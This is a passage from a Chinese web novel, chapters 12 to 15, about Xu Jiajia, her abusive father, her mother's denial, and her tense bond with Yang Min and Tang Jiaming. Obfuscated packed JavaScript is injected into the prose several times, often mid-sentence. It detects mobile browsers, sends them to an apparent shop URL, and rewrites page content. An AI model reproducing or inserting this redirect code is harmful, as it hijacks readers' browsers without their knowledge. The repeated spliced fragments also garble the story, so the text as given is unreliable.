事实上，只要徐佳佳放下成见，要求不要太多，杨敏还是一个非常体贴的人。她也在试探徐佳佳，偶尔会装作无意提起徐盛。如果徐佳佳反对，她就闭口不谈。然后，隔一段时间，换个话题，又无意中提起。徐佳佳不反对，她就继续说下去。她说徐盛的酒越喝越凶，身体出了问题，前些时候已经从公交公司办理了内退手续。 “你去劝劝他吧，不管怎样，你的话他总是会听的。”徐佳佳不无讽刺地说。 杨敏苦笑。“我现在离家这么远，他偷偷喝酒，根本就是没有办法的事。我前天给妈打电话，她说爸爸在医院住了一个星期，现在在家休养，佳佳，不管怎么说，都是一家人。你要是有时间的话，给妈打个电话吧。” 杨敏说话的时候，徐佳佳一直闭着眼睛。世界黑暗一片，杨敏说话的语气，话里的意思，象是一记记重拳撞击着她的心脏。她听到杨敏称呼徐盛为爸爸，称呼袁小宜为妈妈，是那样的自然，那样的毫无障碍。 徐佳佳苦笑，她能怎样呢？除了接受。接受吧，也许，接受了就不那么痛苦了。但是，她决定了，不会给那个家，那个家里的任何人打电话。 “妈怎么样？她还好吗？”既然下定了决心，就不必自寻烦恼了。第一次，徐佳佳跟杨敏说话，没有嘲讽，没有攻击。 仿佛寒冬已经过去，春天里开出的花，一树接着一树。整个下午，杨敏都在叽叽喳喳，把她所知道的有关袁晓宜的一切都说了出来。她说袁晓宜说为了多赚些钱，收了两个学生住在家里，照顾他们的生活，顺便补习功课。两个学生成绩提高得很快，很多家长都想把孩子送过来。 徐佳佳长长地松了一口气。 母亲安全了！ 或者说，母亲体面地找到了让自己安全的方法。 世界上最讽刺的事情是，徐佳佳是最了解徐盛的人。了解他的残忍，虚伪，痛苦，悔恨还有莫名的英雄情结。 徐盛喝酒，喝得很凶，徐佳佳知道，袁晓宜知道，包括杨敏也知道。但是，离开了家，他就是滴酒不沾，最擅长于自我约束，最富正义感的一个人。他不太说话，脸上几乎没有笑容，腰背挺得直直的，头抬得很高。公交公司发放的蓝色制服，白色手套从来都是一天一换，烫洗得干净整齐。他也有愤怒的时候。看到同事中午喝酒，虽然仅仅是一杯啤酒，他立刻勃然大怒，掐着同事的脖子拽到了领导办公室，强迫领导把那位同事调离公交岗位。 世俗的社会里，徐盛是个好人。好人，是一个既轻松又沉重的枷锁。任何人，一旦贴上好人的标签，人们就会拒绝接受有关这个人做坏事的信息。不不不，他不是这样的人。一定不是这样的。真的吗？不不不，我不相信你。我相信，他一定是有理由的。 徐盛打了徐佳佳，在校长办公室。徐佳佳也曾天真的相信，人们会选择真相而不是所谓的标签。她对校长说，我爸爸打我。校长把她交给了袁晓宜。袁晓宜哭了，哭着骂她，你这孩子怎么这样，你知不知道，你这是要毁了你爸爸，毁了这个家。她对警察说，我爸爸打我，我有很多证人，校长都可以作证。警察笑着说，你这孩子，怎么这么不懂事，哪有当父母的不打孩子的。 徐佳佳恨过袁晓宜，恨她为什么不反抗徐盛，恨她为什么不保护她。但是，当她绝望的时候，她反而理解和同情袁晓宜了。没有人相信她，没有人愿意帮助她。人们不是冷漠，只是不愿相信她们是悲惨的。人们认定他们是无理取闹。 离家出走的那一天，徐佳佳已经下定了决心，她要救出妈妈。她认真读书，努力赚钱，关心房价，精于计算，计算和妈妈相聚的日子。 事实，重重煽了徐佳佳一记耳光！ 袁晓宜根本不需要徐佳佳的解救。她用自己的方式救出了自己。让两个学生，两个客人寄居在主人家。主人被迫戴上热情好客的面具。徐盛如此，袁晓宜也是如此，他们两人联手，在陌生的学生面前，戴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“见证我和杨敏的爱情。”唐家明没有犹豫，从头到尾，他的眼睛都在看着杨敏，聚精会神地看着，如果徐佳佳不是足够了解唐家明，她会觉得，唐家明是爱着杨敏的，全心全意地爱着，唐家明的全世界，是一个叫做杨敏的女孩子。 徐佳佳动摇了。她该相信什么？相信大脑里尚未证实的残忍，还是眼前的幸福。她该指责唐家明的背信弃义吗？是的，曾经，唐家明对她很好，好得她理所当然把唐家明当成了自己的男朋友。是的，理所当然，自以为是，一直都是徐佳佳自以为是的独角戏。唐家明从来没有说过，徐佳佳是唐家明的女朋友。恰恰相反，他在请求杨敏，成为他的女朋友。 唐家明真的爱着杨敏吗？ 13. 第 13 章 徐佳佳想起了那个春天的午后，那个懒洋洋的，什么也不愿意做，什么也不愿意想的午后。唐家明和杨敏坐在古樟树下，肩挨着肩，头碰着头，谈笑着。那个时候，他们是幸福的吧。 那个炎热的夏天，剪着短发的徐佳佳和唐家明躺在草地上。徐佳佳洋洋得意，炫耀着躲避挨打的小技巧。她在笑，他也在笑。那个时候，他们也是幸福的。 唐家明真的没有爱上徐佳佳吗？ 突然间，徐佳佳没有了勇气。如果，她的调查结论是错误的呢？如果，她所谓的爱情不过是自作多情的一厢情愿呢？ 打破别人的幸福，比争取自己的幸福更需要勇气。 徐佳佳胆怯了。 “爱情是一辈子的事。”徐佳佳说。 “是的，爱情是一辈子的事。” 唐家明看着徐佳佳。有那么一个瞬间，徐佳佳以为这句话是对自己说的。但是，他很快就转移了视线，拉着杨敏的手。 “你愿意吗？让我照顾你，一辈子。”这是唐家明的承诺。 杨敏表示了同意。 徐佳佳见证了幸福，也更深刻地感受到自己的不幸。 徐佳佳陪着程雨涵逛街。程雨涵勾着徐佳佳的肩膀。徐佳佳不习惯跟人这么亲密，但是程雨涵是个任性的人，抓住了就是不放手，徐佳佳只能习惯。 程雨涵在滔滔不绝地责备徐佳佳。“徐佳佳，你有没有把我当朋友，生病住院也不跟我说一声。你知道这几天我打了你多少电话吗？我急得都差点报警了。还是我妈有办法。找到了你们学校，才知道是生病了。对了，你们系主任说，你妹妹在照顾你。你还有个妹妹，表妹还是亲生的。要是亲生的，不会是双胞胎吧。有姐妹的感觉一定很好。我是独生女，从小到大都是一个人。做点坏事都找不到顶包的人。徐佳佳，你说，我让我妈生二胎好不好。算了算了，还是别生了。我妈真要是生出一个比我聪明乖巧的弟弟或者是妹妹，那心还不得偏到太平洋的彼岸啊。我家的房子，车子，我妈的公司，首饰，全部财产岂不是都要变成别人的财产了。天啊，太可怕了，我要变成穷光蛋了！” 程雨涵越说离题越远。徐佳佳不得不提醒她。“你所说的别人，是跟你同父同母的弟弟或者妹妹，是你的亲人。” “亲人啊。不行，我得跟我妈约法三章，生二胎可以，但是必须得保证我在她心目中，永远是第一位的。否则，呵呵，不要怪我没有手足情。” 程雨涵亮出了拳头，不由人不担心起还未出生的小婴儿的命运来。 程雨涵会讨厌她的弟弟或者妹妹吗？也许吧。接受一个陌生人成为亲人，分享父母的财产和爱，都不是件容易的事。 但是，程雨涵会伤害她的弟弟或者妹妹吗？不会。徐佳佳坚信这一点。程雨涵抱着一只受伤的流浪猫儿，哭得跟泪人似的。 “怎么有人这么残忍啊，伤害这么可爱的小猫。” 徐佳佳陪着程雨涵去了宠物医院，把受伤的流浪猫交给了医生。 “你一定要好好对它啊，我会天天来看它的。”程雨涵叮嘱了叮嘱。 “要不，你收养它吧。”徐佳佳心中一动。 “不行啊，我妈对动物皮毛过敏。我要是把猫猫狗狗带回家，我妈会咳嗽的，咳得惊天动地。” 很显然，在程雨涵的心里，妈妈的健康比流浪猫的命运更重要。我们会对陌生的生命有怜悯之心，与此同时，我们也会对亲人，朋友产生感情的牵绊。那些牵绊，比怜悯之心重要得多。 徐佳佳的大脑里嗡嗡直响。她不知道，她和杨敏之间，到底是怜悯之心，还是类似于亲人，朋友的牵绊。亲人？朋友？杨敏于她，是亲人，还是朋友？ 她走在熙熙攘攘的大街上，却听不到任何声音。她就是盲目地，跟随着程雨涵的脚步，看着她快乐地穿梭于百货公司的各个柜台之间，把各式各样的衣服穿上身，美丽的，奇怪的，简单的，繁琐的，喜欢或者是不喜欢，根本用不着思考，简单直接。她为什么不能快乐？不能象程雨涵那样快乐？ 买了一大堆衣服化妆品之类的零零碎碎，在徐佳佳看来，没有一样是必需品，全部是浪费奢侈。 拎着大包小包的程雨涵长长出了一口气。“总算是心情好了？” 徐佳佳很惊讶。“你今天心情不好？” “废话，我要心情好能来找你。” “原来你只有心情不好的时候才来找我。” “我心情不好跟你有关系，不找你找谁？” “跟我有关系？怎么会跟我有关系？”好吧，听过这话之后，徐佳佳心里好受多了。 “我妈想让我出国。学校都帮我联系好了。”程雨涵闷闷不乐地说。 “不好吗？你不是最讨厌高考吗？难得有机会不用参加高考，我以为你会开心才对。” “本来我也是这么想的。但是，你知道的，我为了这次高考，准备了很久。我从来没有这样认真地做过一件事。我就憋着一口气，想要考个好成绩出来。然后我妈跟我说，不用考了，我都安排好了。佳佳，你明不明白那种感受。” 徐佳佳怎么会不明白呢？努力了那么久，一直给自己打气，是她生命的动力——把妈妈从徐盛的魔爪里解救出来——现在，妈妈不需要她了。不不不，这还远远不是事实。真正的事实是，袁晓宜从来就没有需要过她。不被需要的，不受重视，可有可无的感觉，徐佳佳心里空荡荡的。那种滋味比徐盛打她的时候更难受。徐盛打她，她感觉到身体的疼痛，她会愤怒，她会恨，她会挣扎着，不依不饶，锲而不舍地寻找答案。袁晓宜不需要她了，就这样，她失去了目标，不知道自己为什么要活着，活着，到底是为了什么？如果是从前，她还有唐家明。在唐家明面前，她可以肆无忌惮，可以哭得象个孩子，可以恶毒地诅咒那些伤害过她的人们。唐家明不会笑话她，不会用道德的标准对她指手画脚。就算是唐家明别有用心又怎么样？她舍不得，舍不得唐家明，舍不得对那些肆无忌惮，舍不得对那些无所顾忌说再见。不不不，她必须要说再见了。唐家明，现在是杨敏的男朋友。她的肆无忌惮，她的无所顾忌，都将只会属于杨敏了。 一个手掌挡住了眼睛，手很小，但是离眼睛太近，能够挡住摩天大楼。 徐佳佳回过神来。“怎么了？” “这句话应该我来问你才对？你怎么了？没事吧。”没等徐佳佳反映过来，程雨涵摸了摸她的额头，又摸了摸自己的额头，“没发烧啊。你的脸色很难看，不对，你的脸色还好，你的样子象是很不好的样子。你是不是遇上什么事了？唉呀，我怎么这么笨啊，你生病住院，医药费肯定不便宜，是不是缺钱花。我有零用钱，大概一万的样子，如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729737|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果不够的话，还可以找办法。找我妈妈肯定是不行的。笨蛋，可以找爷爷奶奶啊，他们最疼我了。佳佳，你需要多少？两万，两万够不够？” 程雨涵絮絮叨叨说了一大堆，徐佳佳并没有仔细听，她看着程雨涵的脸，她脸上的表情是如此的丰富，一会儿皱眉，一会儿烦恼，一会儿豁然开朗。多么美好的感觉，被人关心的感觉。 徐佳佳笑了。“不用了，我不缺钱。”她也不忍心拒绝程雨涵的好意，“需要钱的时候，我会跟你说的。” 徐佳佳是知道答案的，开口找程雨涵借钱，这样的事，是永远也不会发生的。她跟程雨涵同龄。幸福的程雨涵还是个没长大的孩子，徐佳佳已经是历经沧桑的成年人了。 程雨涵很失望。“我没有其他意思，是真的，我就是真的想帮你。” “我知道。雨涵，你有没有跟你妈妈好好谈过，说你想参加高考？”徐佳佳换了个话题。她的烦恼层出不穷又怎样，她的痛苦绝望到找不到出路又怎样。至少，她可以帮助程雨涵。她很开心。她不再是一无是处。 “没有。”程雨涵把短发抓得乱糟糟的。“徐佳佳，昨天晚上，差一点，只差一点点，我就跟我妈说了，我想说我要参加高考。我准备了很久，生平第一次全心全意竭尽全力去做一件事，还没有看到结果就让我放弃，我不甘心，我真的很不甘心。可是又能怎么样呢？妈妈好不容易才争取到的留学机会。徐佳佳，实话跟你说吧，这次的留学机会，是我妈花钱买来的。退一万步说，即便我有勇气放弃这次的留学机会去参加高考，高考又失败了又考砸了，这种可能性是存在的，是不是？” 徐佳佳不能欺骗程雨涵。她点头表示同意。 “你是怎么打算的？”徐佳佳问。 “怎么打算的，还能怎么打算呢？当然是听妈妈的话做个乖乖女。徐佳佳，你说人活着到底是为什么？” “怎么突然问这个问题？” “有一天，我的同学兴奋地告诉我，暑假跟她妈妈一起去香港迪斯尼。那是她盼了很久的生日礼物。条件是期末考试进入全年级前十。她很辛苦才达到目标。那一次我的考试成绩前所未有的糟糕，所以我没好气地说，香港迪斯尼有什么了不起，我五岁就去过美国迪斯尼了。那个同学到现在都不跟我说话。” 徐佳佳笑了。“你这话说得，确实是，欠揍，不是一般的欠揍。” “是啊，欠揍，我的人生，整个就是一欠揍的人生。我所拥有的一切，普通人奋斗一辈子也不一定能拥有。我的重点小学是我妈花钱买的，我的重点中学也是我妈花钱买的，现在，轮到我的大学了，还是我妈花钱买的。我妈把我的人生都规划好了，这一辈子，我只管拿公司红利吃喝玩乐好了。千万别努力奋斗别艰苦创业别投资。她给我看过统计资料，绝大多数象我这样吃股份吃红利的富二代，都不是因为吃喝玩乐，而是因为想要奋斗想要人生活得更有意义，做不靠谱的投资沦为了穷光蛋。我妈是个非常矛盾的人，我游手好闲一无是处，她看不起我。可是我真要是努力奋斗了，她又要担心得睡不着觉了。你说我妈这辈子把我生下来究竟是图个啥，难不成就图个焦虑？” 程雨涵的难题，徐佳佳解决不了。但是，程雨涵很开心，两个女孩分手的时候，程雨涵恢复成无忧无虑的程雨涵，至于徐佳佳，至少不再是绝望的徐佳佳。 14. 第 14 章 陪了程雨涵整整一天，徐佳佳精疲力尽。徐佳佳的绝望，程雨涵的烦恼，都没有找到答案。严格意义来说，两个年轻女孩虚度了无所事事的一天，消耗了金钱，浪费了生命。但是，她们有一个令人兴奋的结局，徐佳佳和程雨涵，成为了朋友。是的，朋友，可以倾诉烦恼，互相嘲笑，揭短，不怕暴露缺点的朋友。 徐佳佳和程雨涵，是一个世界的两个极端，她们的家庭背景，生活习惯，价值观，没有一丝一毫的共同之处。她们两个人，是再单纯不过的朋友。 做朋友，本来就应该是单纯的。 徐佳佳和唐家明，能不能回到最初的单纯，做回最单纯的朋友呢？ 深夜，躺在床上，冷静的徐佳佳想到了这个答案。 徐佳佳在图书馆见到了唐家明。她鼓足勇气，在他的对面坐下来。安静地坐着，不言也不语。很久以后，唐家明才抬起头来，看着她。 “徐佳佳，你想做什么？”首先说话的人，是认输的一方。很明显，唐家明输了。 徐佳佳有了信心。她拿过唐家明的笔记本，在上面写了两个字，再把笔记本推到他的面前，让他看清楚那两个字。 唐家明的脸色马上就变了。徐佳佳想起了小时候，隔着一条街的一个女的死了，据说是生孩子大出血死的。徐佳佳看到了尸体，在透明的冰柜里躺着，没有生命气息的苍白。 李庆！ 徐佳佳写下的是一个男人的名字。 “你是怎么知道的？”唐家明的声音在发抖。 “你要干什么？”很快，唐家明又问了一个问题。 徐佳佳站起身来，离开了图书馆。她走得不快也不慢，好像什么也没发生。唐家明会追上来。徐佳佳充满了信心。她想让他追上她，又想保留最后的自尊。 唐家明在僻静处挡住了她的去路。 徐佳佳站在那里，安静地看着唐家明。原本她是怕着他的，怕他不爱她，怕他象第一次见面那样伤害她。她不害怕他，一点也不害怕他。她已看穿了他的本质。 “把你的手给我。”徐佳佳说。 “什么？”唐家明不明白。 不等唐家明反映过来，徐佳佳已经拉住了他的手。他的手在发抖，手心冰凉，仿佛冬天的冰雪。 “唐家明，你在害怕，你怕什么呢？我，杨敏，还是李庆？”徐佳佳在冷笑。 李庆这个名字刚刚说出口，唐家明突然爆发了。他用手掐住了她的脖子。 “闭嘴闭嘴闭嘴闭嘴闭嘴闭嘴。”他不停地说着这两口字，手上的力量越来越大。 徐佳佳不挣扎不反抗也不说话，眼睛睁得大大的，死死的盯着唐家明。有那么一个瞬间，她是真心的，她想让他杀死她。但是，她又是那样的不忍心。活着比死亡痛苦一万倍都不止，她比她想象中更加残忍。她不忍再看，只能闭上眼睛，眼睛流了出来。 他的手在发抖，气力在最初的愤怒过去之后，慢慢流失，直到消失殆尽。他放开了她。他看到她的眼泪，他的痛苦和绝望，她的痛苦和绝望，一模一样，看不到尽头。他的愤怒如同正在爆发的火山。他不知如何是好。他的右手握成拳头，不停地砸向墙壁，他听到皮肉撞击墙壁的声音，沉闷。他感觉不到疼痛，只能看到墙壁上那道血色的印痕，一点一点加深，一点一点扩大，一点一点醒目，最后，变成触目惊心。 轻轻的，仿佛沉睡的人醒来，微微颤抖的睫毛，一个柔软的身体贴在他的后背，试探着，犹豫着，一点一点地抱住，抱紧，死死地缠住，不再松开，深入骨髓和灵魂。如此地坦荡，如此地理所当然，如此地厚颜无耻，仿佛与生俱来，他们就应该是那样的存在。 柔软而温暖的身体，跳动的心脏，唐家明的身体感受到了。他的大脑作出了反映，不再是麻木不仁。唐家明惊讶地看着自己的右手，伤口一片狼籍，不断有血流出来。疼痛从手指的伤口处漫延开来。疼痛，这就是活着的感受吗？ 他转过身，看着她。“对不起。”他真诚地道歉。他的手指抚摸着她的脖颈，那里有他冲动留下的伤痕。“痛吗？” “你说呢。”她点头，她心里有气想要发泄，想也不想，直接重重地踹了他一脚。 唐家明愣住了。“佳佳。” 徐佳佳大哭。“混蛋，你刚才是不是想杀死我。” “没有。”他看着她的眼泪，为自己辩解的话再也说不出口。“对不起。对不起。对不起。”唐家明不断地说着对不起。 徐佳佳知道他的道歉是真心实意。 “你会跟杨敏分手吗？”徐佳佳问唐家明。 “我会照顾她一辈子。” “你的父亲叫李庆，李庆杀死了杨曙忠。你认识杨曙忠吗？他是一个很好很好的人，他是杨敏的父亲。你会告诉杨敏吗？” “你希望我怎么做？徐佳佳，你来告诉我。你想我怎么做？” 在那个热得令人发疯的下午，唐家明吐露了心声，同时也暴露了内心的软弱。 很多年了，那个看上去聪明能干，阳光灿烂的男子，不过是一个被命运摆布，随波逐流的懦夫。他不知道什么是正确，什么是错误。他只知道，作为李庆的儿子，一个杀人犯的儿子，他没有犯错的权利。哪怕只是一次，就可能是万劫不复。于是，他不再选择。 “说吧。徐佳佳，只要你说出来。我一定照你说的去做。”唐家明又问了一次。 时间的流逝从来不是生活大事，时间的停滞才是。徐佳佳站在自家门口，不敢相信自己居然离家三年了。三年，还是那条街，还是那幢旧房子。唯一的变化，从街头到街尾，从拆了一半的隔壁楼，到还是完好如初的自家旧楼，都画了一个大大的拆字。 若是用好奇的心好好看看那个拆字，是一件非常有意思的事。街头到街尾，只需要写一个字。天赋再差的人也能练成熟练工了。熟练工把“拆”字写到一半，会把整个字用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729738|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个圈圈圈起来，最后那一点，再从圈圈里面飞出去，带着一点点的狡黠。 远远的，徐佳佳看见了父亲。父亲已经不是记忆里的父亲了，那个在外面阳光灿烂，在家里阴郁深沉的中年男人，而是，成了一个老人，头发白了一大半。徐佳佳不能确定，父亲的头发到底是三年前白的，还是这三年里白的。事实上，她并不关心父亲的头发。涌到她脑海的第一个念头，居然是，一个老人，体力和力量都在衰退。那么——不知不觉，徐佳佳握紧了拳头。她甚至有一种跃跃欲试的恶意，她想跟父亲比一比，谁的力气更大，谁的拳头更硬。 徐佳佳惊出了一身冷汗。为什么会这样？她的脑子里为什么会产生那样的想法？她明明是一个最最厌恶暴力的人啊。 徐佳佳松开了拳头，看着父亲拎着一瓶二锅头，低着头，弯着背走进了楼道。她没有说话，一个字也没有说。这是必然的结果，她跟她的父亲无话可说，她跟她的父亲，不想见面。她回家的目的，也不是因为父亲。她在等着母亲回家。起风了，风很冷，她的双手抱住了双肩。心理学家说，这是一个缺乏安全感，自我保护的肢体语言。 徐佳佳很清楚，她痛苦还有灾难的源头是父亲。但是，让她沉沦无力自拔的难题，是母亲。她心里隐隐是知道一个答案的。那是一个她不敢相信也不愿意去相信的答案。所以，她回家，固执地等着，从白天等到傍晚，她必须要看着母亲的脸，母亲的眼睛，不放过任何一点细微的回避或者是说谎的机会。她需要的是最真实的答案。她必须面对并且承受这个答案。 袁小宜的身影出现在街尾。藏青色的外套，黑色粗跟皮鞋。她不是一个人，她的身边还有两个十来岁的孩子，一个男孩，一个女孩，男孩要调皮一些，女孩要矜持一些，不过，他们都在笑。袁小宜也在笑。 徐佳佳觉得母亲的笑容特别地刺眼。这是她的母亲，她最亲的人，在她最痛苦最绝望最无助的时候，母亲怎么能笑呢？母亲怎么能笑得出来呢？愤怒如同暴风雨一样，瞬间统治了徐佳佳。 突然，徐佳佳打了个冷战。她怎么变成了这样的人！这是什么时候的事情？她不是最讨厌那样的人吗？那种总是指责他人，不，你没有资格！不，你没有权利！不，你不能这样！ 人类的一生，到底是诅咒还是预言。兜兜转转一个轮回，大多数人终将会活成自己曾经最最讨厌的模样。无数的孩子拼尽全力逃离父母的控制和影响，多年之后才想起照一照镜子，这才惊恐地发现，镜子中的那个人，其实就是记忆中父母的模样。 在徐佳佳看来，母亲有两个名字，一个名字叫做徐佳佳的母亲。一个名字叫做袁小宜。名字叫做袁小宜的女人，她为什么不能笑呢？她为什么没有权利笑呢？ 这是毫无准备的最后时刻的醒悟。如果徐佳佳认为站在面前的女人是一个叫做袁小宜的女人，她会理解她，甚至同情她。但是，如果她还把她当成自己的母亲，她会愤怒。 15. 第 15 章 袁小宜越走越近。她看到了徐佳佳。她的快乐是发自内心的，毫不掩饰，她的泪水也是真实的，没有伪装。 她呼唤着女儿的名字：“佳佳！你回来了！” 所有的理智立刻消失了，在徐佳佳的大脑里，只剩下了一个念头，这个女人，只有一个名字，徐佳佳的母亲。 徐佳佳退后了一步，避开了母亲的热情。“为什么？” 徐佳佳很明白，问题的答案会让她痛苦。但是，这正是她回家的目的。她需要痛苦让自己清醒。她担心情感会让她软弱得犯下不可饶恕的错误。 袁小宜惊讶地看着女儿。在她看来，这是一个奇怪的问题。 “佳佳，你怎么了？你没事吧？” “你觉得我会出什么事呢？” 徐佳佳用了唐家明对付她的办法，对付自己的母亲。唐家明要逃避选择，徐佳佳却是逼着自己的母亲作出选择。袁小宜其实是有过选择的权利的，但是，她选择了承受，隐瞒，还有谎言。 一位母亲，一位有着孩子的母亲，在长达数十年的漫长岁月里，她觉得让世人知道她的丈夫酗酒，并且殴打自己女儿和妻子，是一件不能接受，必须要隐藏的羞耻的事情。她每天把头发梳得特别整齐，她的衣服既不时髦也不保守，她的脸上总是维持着恰到好处的微笑。那些让所有人都不会注意到她的技巧，她掌握得非常熟练。 徐佳佳打量着自己的母亲。剥离感情已经不可能完成的任务。徐佳佳感觉自己在分裂。她一会儿觉得应该把袁小宜当成母亲，她有一种冲动，想要冲进母亲的怀抱里倾诉委屈，伤害还有只有母亲才会理解的有关杨敏和唐家明的秘密。她太痛苦也太寂寞，找不到可以倾诉的人。一会儿，她又冷酷地提醒自己，母亲是一件软弱的人，一个软弱的人，最大的错误不在于伤害了她自己。软弱会象瘟疫一样传染给身边的人。不行，徐佳佳不允许自己也患上软弱的疾病。除了坚强之外，她别无选择。她能依靠的人，只有她自己，她要活下去，只能依靠自己。 那是冬日的下午，天黑得很早，风很大，传递着寒冷的气息。 “你觉得我会出什么事呢？妈妈。你是不是觉得，我会死掉呢？妈妈，你有没有想过，要是我真的死掉了呢？当然啦，你会伤心，很伤心。是啊，你是我的妈妈，你爱我。我要是死了，你不可能不伤心。” 徐佳佳理解了杨敏，当一个人伤心的时候，去指责和伤害另一个人，比流泪哭泣倾诉自己的委屈，确实是容易而且痛快多了。伤人的话轻易地说出口之后，徐佳佳笑了，她笑话的不是别人，而是她自己。 “你是我的妈妈，你应该保护我。为什么，你从来就没有想过，你还可以保护我的。妈妈，你告诉我，你是真的，从来没有想过吗？你是成年人，那个时候，我只是个孩子，你应该保护我的。妈妈，你应该保护我的。你为什么不能离开父亲呢？为什么？” 袁小宜想了很久，她想到了很多理由，但是每一个理由都似乎说不出口。她必须要说出一个理由，于是，她选择了最先想到的那一个。 “你爸爸，他是一个好人。” “好人？好人会把自己的亲生女儿往死里打吗？好人？好人会虐待自己的妻子吗？” “佳佳，你要明白，你爸爸他不是一个自私的人。恰恰相反，他是一个高尚的人。老杨，杨敏的爸爸去世之后，他很痛苦，生不如死。佳佳，你要明白，如果不是因为你，不是因为你想要那双鞋子，杨敏的爸爸就不会死。佳佳，为什么这么多年过去了，你还是不懂呢？你要知道，那一天，死去的人应该是你的爸爸。佳佳，是你让杨敏失去了爸爸，也是你，如果你不是鲁莽，杨敏的妈妈也不会死。你爸爸现在所做的一切，都是为了你，为了你在赎罪。佳佳，你怎么，你怎么就那么不懂事呢！” 徐佳佳不得不思考一个问题，那一个早上，想要一双鞋子的徐佳佳，是不是一个自私的人？如果？如果！人世间最痛苦，最喜悦，最崇高，还有最自私，都在源于一个虚幻的，自我安慰的如果。 “妈妈，如果杨敏爸爸去世的那一天，爸爸把我打死了，你会伤心吗？如果，杨敏妈妈去世的那一天，爸爸把我打死了，你是会伤心还是会觉得如释重负？如果现在我从这里离开，一小心卷入了车轮底下，就这样死了，你会伤心吗？” 徐佳佳的如果太过残忍。 袁小宜无法面对也无法想象。或者说，她想象过这种可能性，但是，她回避了结果，她安慰自己，最坏的结果是不可能发生的。“佳佳，闭嘴！不要说了！” “为什么不让我说呢？妈妈，你觉得哪一件事让你更痛苦，让你的女儿去死，还是承认你的男人，他不是一个好人。他是一个懦夫，一个把暴力发泄在妻子和孩子身上的卑鄙的人！妈妈，是不是还有一件事情，让你觉得更加痛苦，你的人生，根本就是一个错误，一个谎言。” 尖锐的徐佳佳，让袁小宜说不出一句话。女儿所说的每一句话，每一个字，她不想听也不想面对。她的大脑一片空白，行动比语言更快地下定了决心。她扬起手，扇了徐佳佳一个耳光。 袁小宜惊呆了。人类最大的残忍在于，能够做出自己都想象不出的残忍的事情。 袁小宜慌了。“佳佳，对不起。我不是有意的。” 身体的疼痛分为两种，一种完全是来自身体的，你能分辨出来的，例如头痛牙痛肚子痛伤口出血了骨头折断了各种疼痛。另一种是你无法分辨的，你的内心是一个深不见底的空洞，疼痛从四面八方涌了上来。身体的疼痛你知道伤口愈合了疼痛就会消失，内心的空洞你陷入了绝望只觉得无穷无尽。 徐佳佳的心，成了一个无穷无尽大的空洞。她呆呆地看着袁小宜。 袁小宜慌了，她手忙脚乱。“佳佳，你说话，你说话呀。我不是有意的。我真的不是有意的。我也不知道我自己是怎么了。佳佳，你骂我，你打我好不好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729739|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 袁小宜抓住女儿的手，往自己脸上重重地煽了一记耳光，然后是第二记。 徐佳佳清醒了，紧紧抓住母亲的手。不愿母亲伤害她自己。 “妈妈，这是你第一次打我。” “对不起，佳佳，我不是有意的。以后我再也不会了。我保证，这是最后一次。” “爸爸每一次打完你之后，是不是也说过同样的话？妈妈，告诉我，你是不是要变成象爸爸那样的人？当你受到了伤害，你觉得很痛苦，你找不到解决的办法。于是，你就去伤害你身边的人。伤害你最亲的人。因为他们对你有亲情有感情，他们即便是被伤害了，也不会离开你。然后，下一步，是不是要去伤害那些弱小的人，因为他们无法反抗。妈妈，问一问你自己，是不是要变成象爸爸那样的人。妈妈，我已经不指望你保护我了。你能不能醒一醒，保护一下你自己。哪怕是，看一眼你自己，不要让你变成一个坏人。我的爸爸已经是一个坏人了。妈妈，你不要否认。你的否认对于我来说，已经没有意义了。我的家人，对于而言，唯一的意义，就是我不喜欢，我的妈妈也是一个坏人。就这样了。妈妈，再见。” 徐佳佳走了。她走得很慢，她的心里，还是残留着对母亲的眷恋。那份眷恋，不管母亲变成什么样子，不管母亲怎样的对待她，都不会消失。她抬头，看一眼家里的窗户。天黑了，灯亮了，是温暖的昏黄的灯，她在怀念是那个夜晚，母亲给她和杨敏煮的那碗面。 当孩子在外面受到委屈，第一反映是什么呢？我要回去，告诉妈妈。当徐佳佳知道唐家明的真实身份时，她的本能驱使她做出来的第一件事，就是回家，找妈妈。理智一直在提醒她，没用的。你的爸爸跟别人的爸爸不一样。你的妈妈也跟别人的妈妈不一样。但是徐佳佳不死心，她一定要回家，一定要试一试。 知道人类为什么会让自己陷入可悲的境界吗？就是那些明明不应该抱有期待的人，却总是会付出最大的期待，同时也收获最深的伤痛。 